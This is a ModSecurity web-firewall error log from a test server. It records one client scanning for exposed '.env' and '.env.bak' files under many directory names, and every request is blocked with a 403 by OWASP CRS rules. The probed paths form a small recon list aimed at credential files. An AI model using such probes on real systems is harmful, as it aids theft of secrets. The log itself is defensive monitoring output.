[Wed Jul 23 13:39:23.236389 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aIDJ66I4lOREpDwv3HY7xwAAAAI&quot;]
[Wed Jul 23 13:39:23.236625 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aIDJ66I4lOREpDwv3HY7xwAAAAI&quot;]
[Wed Jul 23 13:39:23.236811 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aIDJ66I4lOREpDwv3HY7xwAAAAI&quot;]
[Wed Jul 23 13:39:23.256802 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/core/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env&quot;] [unique_id &quot;aIDJ66I4lOREpDwv3HY7yAAAAAI&quot;]
[Wed Jul 23 13:39:23.257013 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env&quot;] [unique_id &quot;aIDJ66I4lOREpDwv3HY7yAAAAAI&quot;]
[Wed Jul 23 13:39:23.257183 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env&quot;] [unique_id &quot;aIDJ66I4lOREpDwv3HY7yAAAAAI&quot;]
[Wed Jul 23 13:39:24.883008 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mail/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/.env&quot;] [unique_id &quot;aIDJ7KI4lOREpDwv3HY7yQAAAAI&quot;]
[Wed Jul 23 13:39:24.883245 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/.env&quot;] [unique_id &quot;aIDJ7KI4lOREpDwv3HY7yQAAAAI&quot;]
[Wed Jul 23 13:39:24.883439 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/.env&quot;] [unique_id &quot;aIDJ7KI4lOREpDwv3HY7yQAAAAI&quot;]
[Wed Jul 23 13:39:24.908335 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mailer/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailer/.env&quot;] [unique_id &quot;aIDJ7KI4lOREpDwv3HY7ygAAAAI&quot;]
[Wed Jul 23 13:39:24.908558 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailer/.env&quot;] [unique_id &quot;aIDJ7KI4lOREpDwv3HY7ygAAAAI&quot;]
[Wed Jul 23 13:39:24.908721 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailer/.env&quot;] [unique_id &quot;aIDJ7KI4lOREpDwv3HY7ygAAAAI&quot;]
[Wed Jul 23 13:39:27.055321 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nginx/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx/.env&quot;] [unique_id &quot;aIDJ76I4lOREpDwv3HY7ywAAAAI&quot;]
[Wed Jul 23 13:39:27.055604 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx/.env&quot;] [unique_id &quot;aIDJ76I4lOREpDwv3HY7ywAAAAI&quot;]
[Wed Jul 23 13:39:27.055836 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx/.env&quot;] [unique_id &quot;aIDJ76I4lOREpDwv3HY7ywAAAAI&quot;]
[Wed Jul 23 13:39:27.076238 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aIDJ76I4lOREpDwv3HY7zAAAAAI&quot;]
[Wed Jul 23 13:39:27.076515 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aIDJ76I4lOREpDwv3HY7zAAAAAI&quot;]
[Wed Jul 23 13:39:27.076711 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aIDJ76I4lOREpDwv3HY7zAAAAAI&quot;]
[Wed Jul 23 13:39:27.097089 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /site/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aIDJ76I4lOREpDwv3HY7zQAAAAI&quot;]
[Wed Jul 23 13:39:27.097340 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aIDJ76I4lOREpDwv3HY7zQAAAAI&quot;]
[Wed Jul 23 13:39:27.097537 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aIDJ76I4lOREpDwv3HY7zQAAAAI&quot;]
[Wed Jul 23 13:39:27.121096 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /xampp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xampp/.env&quot;] [unique_id &quot;aIDJ76I4lOREpDwv3HY7zgAAAAI&quot;]
[Wed Jul 23 13:39:27.121342 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xampp/.env&quot;] [unique_id &quot;aIDJ76I4lOREpDwv3HY7zgAAAAI&quot;]
[Wed Jul 23 13:39:27.121506 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xampp/.env&quot;] [unique_id &quot;aIDJ76I4lOREpDwv3HY7zgAAAAI&quot;]
[Wed Jul 23 13:39:27.141636 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /node_modules/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.env&quot;] [unique_id &quot;aIDJ76I4lOREpDwv3HY7zwAAAAI&quot;]
[Wed Jul 23 13:39:27.141833 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.env&quot;] [unique_id &quot;aIDJ76I4lOREpDwv3HY7zwAAAAI&quot;]
[Wed Jul 23 13:39:27.141988 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.env&quot;] [unique_id &quot;aIDJ76I4lOREpDwv3HY7zwAAAAI&quot;]
[Wed Jul 23 13:39:27.161794 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aIDJ76I4lOREpDwv3HY70AAAAAI&quot;]
[Wed Jul 23 13:39:27.161938 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aIDJ76I4lOREpDwv3HY70AAAAAI&quot;]
[Wed Jul 23 13:39:27.162134 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aIDJ76I4lOREpDwv3HY70AAAAAI&quot;]
[Wed Jul 23 13:39:27.162293 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aIDJ76I4lOREpDwv3HY70AAAAAI&quot;]
[Wed Jul 23 13:39:27.278886 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /website/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/website/.env&quot;] [unique_id &quot;aIDJ76I4lOREpDwv3HY71AAAAAI&quot;]
